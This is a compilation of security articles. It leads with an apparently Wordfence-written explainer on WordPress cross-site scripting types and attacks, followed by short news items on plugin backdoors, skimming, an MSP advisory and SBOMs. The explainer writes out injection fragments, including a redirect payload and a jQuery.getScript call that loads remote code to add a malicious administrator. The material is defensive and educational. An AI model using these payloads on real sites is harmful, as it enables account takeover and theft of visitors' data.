Cross-Site Scripting: The Real WordPress Supervillain

Vulnerabilities are a fact of life for anyone managing a website, even when using a well-established content management system like WordPress. Not all vulnerabilities are equal, with some allowing access to sensitive data that would normally be hidden from public view, while others could allow a malicious actor to take full control of an affected website. There are many types of vulnerabilities, including broken access control, misconfiguration, data integrity failures, and injection, among others. One type of injection vulnerability that is often underestimated, but can provide a wide range of threats to a website, is Cross-Site Scripting, also known as “XSS”. In a single 30-day period, Wordfence blocked a total of 31,153,743 XSS exploit attempts, making this one of the most common attack types we see.

XSS exploit attempts blocked per day

What is Cross-Site Scripting?

Cross-Site Scripting is a type of vulnerability that allows a malicious actor to inject code, usually JavaScript, into otherwise legitimate websites. The web browser being used by the website user has no way to determine that the code is not a legitimate part of the website, so it displays content or performs actions directed by the malicious code. XSS is a relatively well-known type of vulnerability, partially because some of its uses are visible on an affected website, but there are also “invisible” uses that can be much more detrimental to website owners and their visitors.

Without breaking XSS down into its various uses, there are three primary categories of XSS that each have different aspects that could be valuable to a malicious actor. The types of XSS are split into stored, reflected, and DOM-based XSS. Stored XSS also includes a sub-type known as blind XSS.

Stored Cross-Site Scripting could be considered the most nefarious type of XSS. These vulnerabilities allow exploits to be stored on the affected server. This could be in a comment, review, forum, or other element that keeps the content stored in a database or file either long-term or permanently. Any time a victim visits a location the script is rendered, the stored exploit will be executed in their browser.

An example of an authenticated stored XSS vulnerability can be found in version 4.16.5 or older of the Leaky Paywall plugin. This vulnerability allowed code to be entered into the Thousand Separator and Decimal Separator fields and saved in the database. Any time this tab was loaded, the saved code would load. For this example, we used the JavaScript onmouseover function to run the injected code whenever the mouse went over the text box, but this could easily be modified to onload to run the code as soon as the page loads, or even onclick so it would run when a user clicks a specified page element. The vulnerability existed due to a lack of proper input validation and sanitization in the plugin’s class.php file. While we have chosen a less-severe example that requires administrator permissions to exploit, many other vulnerabilities of this type can be exploited by unauthenticated attackers.

Example of stored XSS

Blind Cross-Site Scripting is a sub-type of stored XSS that is not rendered in a public location. As it is still stored on the server, this category is not considered a separate type of XSS itself. In an attack utilizing blind XSS, the malicious actor will need to submit their exploit to a location that would be accessed by a back-end user, such as a site administrator. One example would be a feedback form that submits feedback to the administrator regarding site features. When the administrator logs in to the website’s admin panel, and accesses the feedback, the exploit will run in the administrator’s browser.

This type of exploit is relatively common in WordPress, with malicious actors taking advantage of aspects of the site that provide data in the administrator panel. One such vulnerability was exploitable in version 13.1.5 or earlier of the WP Statistics plugin, which is designed to provide information on website visitors. If the Cache Compatibility option was enabled, then an unauthenticated user could visit any page on the site and grab the _wpnonce from the source code, and use that nonce in a specially crafted URL to inject JavaScript or other code that would run when statistics pages are accessed by an administrator. This vulnerability was the result of improper escaping and sanitization on the ‘platform’ parameter.

Example of blind XSS

Reflected Cross-Site Scripting is a more interactive form of XSS. This type of XSS executes immediately and requires tricking the victim into submitting the malicious payload themselves, often by clicking on a crafted link or visiting an attacker-controlled form. The exploits for reflected XSS vulnerabilities often use arguments added to a URL, search results, and error messages to return data back in the browser, or send data to a malicious actor. Essentially, the threat actor crafts a URL or form field entry to inject their malicious code, and the website will incorporate that code in the submission process for the vulnerable function. Attacks utilizing reflected XSS may require an email or message containing a specially crafted link to be opened by an administrator or other site user in order to obtain the desired result from the exploit. This XSS type generally involves some degree of social engineering in order to be successful and it’s worth noting that the payload is never stored on the server so the chance of success relies on the initial interaction with the user.

In January of 2022, the Wordfence team discovered a reflected XSS vulnerability in the Profile Builder – User Profile & User Registration Forms plugin. The vulnerability allowed for simple page modification, simply by specifically crafting a URL for the site. Here we generated an alert using the site_url parameter and updated the page text to read “404 Page Not Found” as this is a common error message that will not likely cause alarm but could entice a victim to click on the redirect link that will trigger the pop-up.

Example of reflected XSS

DOM-Based Cross-Site Scripting is similar to reflected XSS, with the defining difference being that the modifications are made entirely in the DOM environment. Essentially, an attack using DOM-based XSS does not require any action to be taken on the server, only in the victim’s browser. While the HTTP response from the server remains unchanged, a DOM-based XSS vulnerability can still allow a malicious actor to redirect a visitor to a site under their control, or even collect sensitive data.

One example of a DOM-based vulnerability can be found in versions older than 3.4.4 of the Elementor page builder plugin. This vulnerability allowed unauthenticated users to be able to inject JavaScript code into pages that had been edited using either the free or Pro versions of Elementor. The vulnerability was in the lightbox settings, with the payload formatted as JSON and encoded in base64.

Example of DOM-based XSS

How Does Cross-Site Scripting Impact WordPress Sites?

WordPress websites can have a number of repercussions from Cross-Site Scripting (XSS) vulnerabilities. Because WordPress websites are dynamically generated on page load, content is updated and stored within a database. This can make it easier for a malicious actor to exploit a stored or blind XSS vulnerability on the website which means an attacker often does not need to rely on social engineering a victim in order for their XSS payload to execute.

Using Cross-Site Scripting to Manipulate Websites

One of the most well-known ways that XSS affects WordPress websites is by manipulating the page content. This can be used to generate popups, inject spam, or even redirect a visitor to another website entirely. This use of XSS provides malicious actors with the ability to make visitors lose faith in a website, view ads or other content that would otherwise not be seen on the website, or even convince a visitor that they are interacting with the intended website despite being redirected to a look-alike domain or similar website that is under the control of of the malicious actor.

When testing for XSS vulnerabilities, security researchers often use a simple method such as alert() prompt() or print() in order to test if the browser will execute the method and display the information contained in the payload. This typically looks like the following and generally causes little to no harm to the impacted website:

Example of XSS popup

This method can also be used to prompt a visitor to provide sensitive information, or interact with the page in ways that would normally not be intended and could lead to damage to the website or stolen information.

One common type of XSS payload we see when our team performs site cleanings is a redirect. As previously mentioned, XSS vulnerabilities can utilize JavaScript to get the browser to perform actions. In this case an attacker can utilize the window.location.replace() method or other similar method in order to redirect the victim to another site. This can be used by an attacker to redirect a site visitor to a separate malicious domain that could be used to further infect the victim or steal sensitive information.

In this example, we used onload=location.replace("") to redirect the site to The use of onload means that the script runs as soon as the element of the page that the script is attached to loads. Generating a specially crafted URL in this manner is a common method used by threat actors to get users and administrators to land on pages under the actor’s control. To further hide the attack from a potential victim, the use of URL encoding can modify the appearance of the URL to make it more difficult to spot the malicious code. This can even be taken one step further in some cases by slightly modifying the JavaScript and using character encoding prior to URL encoding. Character encoding helps bypass certain character restrictions that may prevent an attack from being successful without first encoding the payload.

Example of XSS redirect

When discussing manipulation of websites, it is hard to ignore site defacements. This is the most obvious form of attack on a website, as it is often used to replace the intended content of the website with a message from the bad actor. This is often accomplished by using JavaScript to force the bad actor’s intended content to load in place of the original site content. Utilizing JavaScript functions like document.getElementByID() or window.location() it is possible to replace page elements, or even the entire page, with new content. Defacements require a stored XSS vulnerability, as the malicious actor would want to ensure that all site visitors see the defacement.

Example of XSS defacement

This is, of course, not the only way to deface a website. A defacement could be as simple as modifying elements of the page, such as changing the background color or adding text to the page. These are accomplished in much the same way, by using JavaScript to replace page elements.

Stealing Data With Cross-Site Scripting

XSS is one of the easier vulnerabilities a malicious actor can exploit in order to steal data from a website. Specially crafted URLs can be sent to administrators or other site users to add elements to the page that send form data to the malicious actor as well as, or instead of, the intended location of the data being submitted on the website under normal conditions.

The cookies generated by a website can contain sensitive data or even allow an attacker to access an authenticated user’s account directly. One of the simplest methods of viewing the active cookies on a website is to use the document.cookie JavaScript function to list all cookies. In this example, we sent the cookies to an alert box, but they can just as easily be sent to a server under the attacker’s control, without even being noticeable to the site visitor.

Example of stealing cookies with XSS

While form data theft is less common, it can have a significant impact on site owners and visitors. The most common way this would be used by a malicious actor is to steal credit card information. It is possible to simply send input from a form directly to a server under the bad actor’s control, however it is much more common to use a keylogger. Many payment processing solutions embed forms from their own sites, which typically cannot be directly accessed by JavaScript running in the context of an infected site. The use of a keylogger helps ensure that usable data will be received, which may not always be the case when simply collecting form data as it is submitted to the intended location.

Here we used character encoding to obfuscate the JavaScript keystroke collector, as well as to make it easy to run directly from a maliciously crafted link. This then sends collected keystrokes to a server under the threat actor’s control, where a PHP script is used to write the collected keystrokes to a log file. This technique could be used as we did here to target specific victims, or a stored XSS vulnerability could be taken advantage of in order to collect keystrokes from any site visitor who visits a page that loads the malicious JavaScript code. In either use-case, a XSS vulnerability must exist on the target website.

Example of XSS form theft

If this form of data theft is used on a vulnerable login page, a threat actor could easily gain access to usernames and passwords that could be used in later attacks. These attacks could be against the same website, or used in credential stuffing attacks against a variety of websites such as email services and financial institutions.

Taking Advantage of Cross-Site Scripting to Take Over Accounts

Perhaps one of the most dangerous types of attacks that are possible through XSS vulnerabilities is an account takeover. This can be accomplished through a variety of methods, including the use of stolen cookies, similar to the example above. In addition to simply using cookies to access an administrator account, malicious actors will often create fake administrator accounts under their control, and may even inject backdoors into the website. Backdoors then give the malicious actor the ability to perform further actions at a later time.

If a XSS vulnerability exists on a site, injecting a malicious administrator user can be light work for a threat actor if they can get an administrator of a vulnerable website to click a link that includes an encoded payload, or if another stored XSS vulnerability can be exploited. In this example we injected the admin user by pulling the malicious code from a web-accessible location, using a common URL shortener to further hide the true location of the malicious location. That link can then be utilized in a specially crafted URL, or injected into a vulnerable form with something like onload=jQuery.getScript('<short_code>'); to load the script that injects a malicious admin user when the page loads.

Example of adding a malicious admin user with XSS

Backdoors are a way for a malicious actor to retain access to a website or system beyond the initial attack. This makes backdoors very useful for any threat actor that intends to continue modifying their attack, collect data over time, or regain access if an injected malicious admin user is removed by a site administrator. While JavaScript running in an administrator’s session can be used to add PHP backdoors to a website by editing plugin or theme files, it is also possible to “backdoor” a visitor’s browser, allowing an attacker to run arbitrary commands as the victim in real time. In this example, we used a JavaScript backdoor that could be connected to from a Python shell running on a system under the threat actor’s control. This allows the threat actor to run commands directly in the victim’s browser, allowing the attacker to directly take control of it, and potentially opening up further attacks to the victim’s computer depending on whether the browser itself has any unpatched vulnerabilities.

Often, a backdoor is used to retain access to a website or server, but what is unique about this example is the use of a XSS vulnerability in a website in order to gain access to the computer being used to access the affected website. If a threat actor can get the JavaScript payload to load any time a visitor accesses a page, such as through a stored XSS vulnerability, then any visitor to that page on the website becomes a potential victim.

Example of a XSS backdoor

Tools Make Light Work of Exploits

There are tools available that make it easy to exploit vulnerabilities like Cross-Site Scripting (XSS). Some tools are created by malicious actors for malicious actors, while others are created by cybersecurity professionals for the purpose of testing for vulnerabilities in order to prevent the possibility of an attack. No matter what the purpose of the tool is, if it works malicious actors will use it. One such tool is a freely available penetration testing tool called BeEF. This tool is designed to work with a browser to find client-side vulnerabilities in a web app. This tool is great for administrators, as it allows them to easily test their own webapps for XSS and other client-side vulnerabilities that may be present. The flip side of this is that it can also be used by threat actors looking for potential attack targets.

One thing that is consistent in all of these exploits is the use of requests to manipulate the website. These requests can be logged, and used to block malicious actions based on the request parameters and the strings contained within the request. The one exception is that DOM-based XSS cannot be logged on the web server as these are processed entirely within the victim’s browser. The request parameters that malicious actors typically use in their requests are often common fields, such as the WordPress search parameter of $_GET[‘s’] and are often just guesswork hoping to find a common parameter with an exploitable vulnerability. The most common request parameter we have seen threat actors attempting to attack recently is $_GET[‘url’] which is typically used to identify the domain name of the server the website is loaded from.

Top 10 parameters in XSS attacks


Cross-Site Scripting (XSS) is a powerful, yet often underrated, type of vulnerability, at least when it comes to WordPress instances. While XSS has been a long-standing vulnerability in the OWASP Top 10, many people think of it only as the ability to inject content like a popup, and few realize that a malicious actor could use this type of vulnerability to inject spam into a web page or redirect a visitor to the website of their choice, convince a site visitor to provide their username and password, or even take over the website with relative ease all thanks to the capabilities of JavaScript and working knowledge of the backend platform.

One of the best ways to protect your website against XSS vulnerabilities is to keep WordPress and all of your plugins updated. Sometimes attackers target a zero-day vulnerability, and a patch is not available immediately, which is why the Wordfence firewall comes with built-in XSS protection to protect all Wordfence users.


Researchers Find Backdoor in School Management Plugin for WordPress

Multiple versions of a WordPress plugin by the name of “School Management Pro” harbored a backdoor that could grant an adversary complete control over vulnerable websites.

The issue, spotted in premium versions before 9.9.7, has been assigned the CVE identifier CVE-2022-1609 and is rated 10 out of 10 for severity.

The backdoor, which is believed to have existed since version 8.9, enables “an unauthenticated attacker to execute arbitrary PHP code on sites with the plugin installed,” Jetpack’s Harald Eilertsen said in a Friday write-up.

School Management, developed by an India-based company called Weblizar, is billed as a WordPress add-on to “manage complete school operation.” It also claims more than 340,000 customers of its premium and free WordPress themes and plugins.

The WordPress security company noted that it uncovered the implant on May 4 after it was alerted to the presence of heavily obfuscated code in the license-checking code of the plugin. The free version of School Management, which doesn’t pack the licensing code, is not impacted.

While the backdoor has since been removed, the exact origins of the compromise remains unclear, with the vendor stating that “they do not know when or how the code came into their software.”

Customers of the plugin are recommended to update to the latest version to prevent active exploitation attempts.


NSA Warns Managed Service Providers Are Now Prime Targets for Cyberattacks

International cybersecurity authorities issue guidance to help information and communications service providers secure their networks.

The National Security Administration (NSA), along with a coalition of international cybersecurity authorities, today issued an advisory warning managed service providers (MSPs) of an escalating threat of attack from both everyday cybercriminals and state-sponsored threat actors.

MSPs provide or operate information and communications technology services.

With input from cybersecurity leaders from Australia, Canada, New Zealand, the UK and the US, the NSA provided recommendations to help bolster their cyber defenses, including:

  • Finding and disabling dormant accounts.
  • Implementing and enforcing multifactor authentication on accounts.
  • Ensuring contracts clearly map out who owns and is responsible for securing data.

“This joint guidance will help MSPs and customers engage in meaningful discussions on the responsibilities of securing networks and data,” said NSA cybersecurity director Rob Joyce in a statement announcing the new cybersecurity guidance. “Our recommendations cover actions such as preventing initial compromises and managing account authentication and authorization.”

The NSA added it partnered with the UK’s National Cyber Security Centre (NCSC-UK), the Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), New Zealand’s National Cyber Security Centre (NCSC-NZ), the Cybersecurity and Infrastructure Agency (CISA), and the Federal Bureau of Investigation (FBI) to develop the MSP cybersecurity recommendations.

Source & backlinks:

SBOM Facts: Know what’s in your software to fend off supply chain attacks

Not knowing what’s in your food can have consequences. The same is true for software. That’s why you need a software bill of materials (SBOM) to minimize software security risk.

Countless studies and articles have documented the health dangers lurking in America’s fast food culture. Cheap, convenient meals, like a Big Mac, fries and a Coke contain something close to an adult’s daily ration of fat, carbohydrates and sodium. But, until recently, critical information like that wasn’t readily available to diners. The result has been an epidemic of obesity, memorialized in the 2004 documentary Super Size Me!, in which documentary filmmaker Morgan Spurlock ate nothing but McDonald’s for an entire month — a period during which he gained 24 lbs, saw his cholesterol levels soar and developed fatty liver disease.

For health and nutrition experts, the answer to the problem of food-borne risks was legislation. The November 1990 Nutrition Labeling and Education Act (NLEA) provided everyday Americans with detailed information on processed and packaged foods by mandating the use of a nutrition label. Subsequent to that, the Federal Food, Drug, and Cosmetic Act (FD&C Act) was amended to require chain restaurants and retail food establishments to post calorie and other nutrition information on menus, menu boards and signs for all standard menu items. These laws and regulations have empowered U.S. consumers to make informed decisions about the food they are buying in grocery stores and restaurants — including fast food chains.

Software quality is anyone’s guess
Alas, software developers and software development organizations find themselves in a similar place to fast food diners these days. Even a modest software application might contain hundreds- or thousands of discrete components from a number of sources: internally developed, commercially licensed and open source. Data from the firm Synopsys suggests that applications are becoming more complex, also. The average number of components in an application almost doubled between 2018 and 2021, increasing from 298 to 528 during that time.

Despite that, the same level of transparency doesn’t exist for software developers as shoppers and diners, even though the risks lurking in the software supply chain are well-documented. In 2014, for example, the so-called Heartbleed bug in the OpenSSL library affected around 17% of the Internet’s secure web servers (more than half a million systems) were vulnerable to attacks that could enable theft of the servers’ private keys and users’ session cookies and passwords. In the years since, incidents involving software supply chain risk have become regular occurrences. The 2020 hack of SolarWinds or the 2021 Log4j vulnerability or the compromise of CodeCov have led to a reckoning in the industry to bolster software security.

While there has been no legislative response to these attacks, the Biden Administration published an Executive Order on Improving the Nation’s Cybersecurity in May 2021, which specifically targets software supply chain security and calls upon federal agencies to take steps in establishing software security best practices. Afterwards, the National Institute of Standards and Technology (NIST) released their Secure Software Development Framework. In it, it calls for the use of Software Bills of Materials (SBOMs) – a kind of nutrition label in order to minimize software supply chain attack risk.

SBOM: A nutrition label for software
Similar to the iconic black and white nutrition label we see on food packaging today, an SBOM enables those dependent on software to understand what exactly is in the applications they’re using. This gives both software developers and users a better sense of the risks associated with their applications.

By directly comparing the nutritional food label to an SBOM, software practitioners can see why their use is of the utmost importance for securing the software supply chain.

Software bills of materials come in many forms, but almost all contain a few, key elements:

Product/Component Name: Designation typically defined by the original publisher.
Publisher Name: The name of an entity that creates, defines, and identifies components.
Product/Component Version: Identifier used by the supplier to specify a change in software from a previously identified version.
File Name: Serves as an additional identifier within a larger package of software
Software License: Indicates how open-source components can be used, modified and/or shared.
Dependencies: Identifies other sub-components that are included within the component.
Similar to an ingredients list, an SBOM offers a complete picture of what a software application consists of: third party software, open source software, statically linked packages, and other dependencies that run complicated and deep in an application.

An SBOM also provides insight into the complexity of a piece of software by documenting the variety and number of components it uses, including version numbers. Just like consumers can spot ingredients in a food product that are harmful, such as high-fructose corn syrup, software purchasers or development organizations can interrogate SBOMs for known-dangerous components like vulnerable versions of libraries like Log4j. Minimizing a list of components or ingredients, to only what is truly needed and is safe, can reduce unhelpful bloat (literally and figuratively).

Like a nutrition label, a good SBOM will hold software development organizations accountable for tracking and documenting exactly how an application has been made. Not all SBOMs show this bigger picture, namely those created from build manifests. Generating an SBOM just at this stage doesn’t list key components that arise during installation, which can cause developers to overlook vulnerabilities and tampering. This is why an SBOM must show “software as delivered,” meaning it includes the binaries and the packaging that went into an application’s deployment, providing developers with an extra security standard.

Having a list of software ingredients is a great start, what’s even better is expanding an SBOM with risk analysis of each component that detects malware, software tampering, exposed secrets, actively exploited vulnerabilities, etc. and determines the level of deployment risk posed by each component. This is akin to a nutrition label’s “daily value percentage” for each food group, which provides the context of what share of daily intake the portion would constitute. Prioritizing items listed in a SBOM by the level of the risk helps development and security teams understand how their software supply chain contributes to their applications’ risk profile. In comparison, an SBOM, enhanced with risk analysis, enables development teams to see which software publishers are delivering secure code and to assess whether the risk of using a component outweighs the “reward” it offers.

SBOMs: There’s still work to do
While the use of SBOMs is not mandated by the U.S. government, the software industry is becoming more open to their benefits, with 78% of organizations expecting to either produce or consume SBOMs in the future. However, the majority of the software industry has yet to get on board the SBOM train. A recent survey conducted by Dimensional Research found that only 27% of software development organizations generate and review SBOMs. This lack of usage of SBOMs enhanced with risk analysis leaves an organization’s software supply chain vulnerable to many types of attacks.

As the community continues to understand software supply chain risk, more and more threats to software security are discovered. For example, ReversingLabs researchers and others have established a proof-of-concept that dependency confusion attacks via NPM, a popular package repository site, are capable of attacking critical infrastructure. Also, ReversingLabs Reverse Engineer Karlo Zanki found that packages in the PyPI repository pose the risks of releasing secrets, plus overpowered PyPI plugins can be detrimental to development teams.

These growing risks are all the more reason why software publishing organizations need SBOMs. A good SBOM will provide transparency into the build, installation, and deployment processes, similar to how a nutrition label will shed light on how a food was made, and with what ingredients.

Software teams need to go beyond vulnerabilities
For software teams to stay vigilant on software supply chain security risks, they need to expand their approach to securing software beyond vulnerabilities. In Dimensional Research’s survey, 9 in 10 software professionals cited that the difficulty to create and review SBOMs is increasing, reasons being that organizations lack expertise, and they aren’t adequately staffed to review and analyze SBOMs.

Source & background links:

FBI: E-Tailers, Beware Web Injections for Scraping Credit-Card Data, Backdoors

Law enforcement is warning about a wave of Web injection attacks on US online retailers that are successfully stealing credit-card information from online checkout pages.

Cyberattackers are targeting US online businesses by injecting malicious PHP code into e-commerce checkout pages and exfiltrating scraped data to a command-and-control (C2) server spoofed to look like a legitimate credit-card processor.

That’s according to a flash alert from the FBI issued this week, which detailed one attack in particular that began in September 2020. Along with scraping credit-card data, the cybercriminals were modifying the business checkout page code to gain backdoor access to the business’ system. The FBI provided indicators of compromise and recommended mitigations for similar e-tailers, including patching and ongoing monitoring of e-commerce environments.

Businesses Should Take Alert ‘Seriously’
Cyvatar CISO Dave Cundiff explained in an emailed reaction to the alert that basic cybersecurity hygiene and monitoring would be enough to fend off this sort of attack.

“Continually verifying and monitoring an organization’s fundamental cybersecurity is a requirement these days,” Cundiff said. “If the fundamentals of an organization’s security are not strong, then the additional complexity of any additional security is useless.”

US businesses should take this alert seriously, according to Kunal Modasiya, senior director of product management at PerimeterX,.

“Given the risks of supply-chain attacks in general, it is important that businesses look beyond server-side security tools, such as static code analysis, external scanners, and the limitations of CSP to solutions,” Modasiya says.

Ron Bradley, vice president of Shared Assessments, meanwhile notes that organizations dealing with credit-card data, which he called “one of the crown jewels for fraudsters,” should have technical controls like file integrity monitoring (FIM) in place.

“If you’re running a website, especially one which transacts funds, and if you don’t have FIM implemented, I don’t want to shop there,” Bradley said. “Furthermore, you’re going to get pummeled by bad actors because you don’t have your house in order.”

Source and more details:

Android phone owner accidentally finds a way to bypass lock screen

Cybersecurity researcher David Schütz accidentally found a way to bypass the lock screen on his fully patched Google Pixel 6 and Pixel 5 smartphones, enabling anyone with physical access to the device to unlock it.

Exploiting the vulnerability to bypass the lock screen on Android phones is a simple five-step process that wouldn’t take more than a few minutes.

Google has fixed the security issue on the latest Android update released last week, but it has remained available for exploitation for at least six months.

Source and more details:

Over 15,000 WordPress Sites Compromised in Malicious SEO Campaign

A new malicious campaign has compromised over 15,000 WordPress websites in an attempt to redirect visitors to bogus Q&A portals.

“These malicious redirects appear to be designed to increase the authority of the attacker’s sites for search engines,” Sucuri researcher Ben Martin said in a report published last week, calling it a “clever black hat SEO trick.”

The search engine poisoning technique is designed to promote a “handful of fake low quality Q&A sites” that share similar website-building templates and are operated by the same threat actor.

A notable aspect of the campaign is the ability of the hackers to modify over 100 files per website on average, an approach that contrasts dramatically from other attacks of this kind wherein only a limited number of files are tampered with to reduce footprint and escape detection.

Some of the most commonly infected pages consist of wp-signup.php, wp-cron.php, wp-links-opml.php, wp-settings.php, wp-comments-post.php, wp-mail.php, xmlrpc.php, wp-activate.php, wp-trackback.php, and wp-blog-header.php.

This extensive compromise allows the malware to execute the redirects to websites of the attacker’s choice. It’s worth pointing out that the redirects don’t occur if the wordpress_logged_in cookie is present or if the current page is wp-login.php (i.e., the login page) so as to avoid raising suspicion.

The ultimate goal of the campaign is to “drive more traffic to their fake sites” and “boost the sites’ authority using fake search result clicks to make Google rank them better so that they get more real organic search traffic.”

The injected code achieves this by initiating a redirect to a PNG image hosted on a domain named “ois[.]is” that, instead of loading an image, takes the website visitor to a Google search result URL of a spam Q&A domain.

It’s not immediately clear how the WordPress sites are breached, and Sucuri said it did not notice any obvious plugin flaws being exploited to carry out the campaign.

That said, it’s suspected to be a case of brute-forcing the WordPress administrator accounts, making it essential that users enable two-factor authentication and ensure that all software is up-to-date.


Missing Authorization Vulnerability in Blog2Social Plugin

The Wordfence Threat Intelligence team responsibly disclosed a Missing Authorization vulnerability in Blog2Social, a WordPress plugin installed on over 70,000 sites that allows users to set up post sharing to various social networks. Vulnerable versions of the plugin make it possible for authenticated attackers with minimal permissions, such as subscribers, to change the plugin’s settings.

Blog2Social: Social Media Auto Post & Scheduler is a plugin offered by Blog2Social/Adenion that provides content-creators with the ability to quickly share site content to their social media accounts. It offers automatic post sharing as well as optimized scheduling and also extends some of its features to subscribers, enabling them to share posts to their own social media accounts.

As part of the plugin’s functionality, there are some more advanced settings that can be managed. Unfortunately, this was implemented insecurely making it possible for authenticated attackers to update these settings even without the authorization to do so.

Source & more details: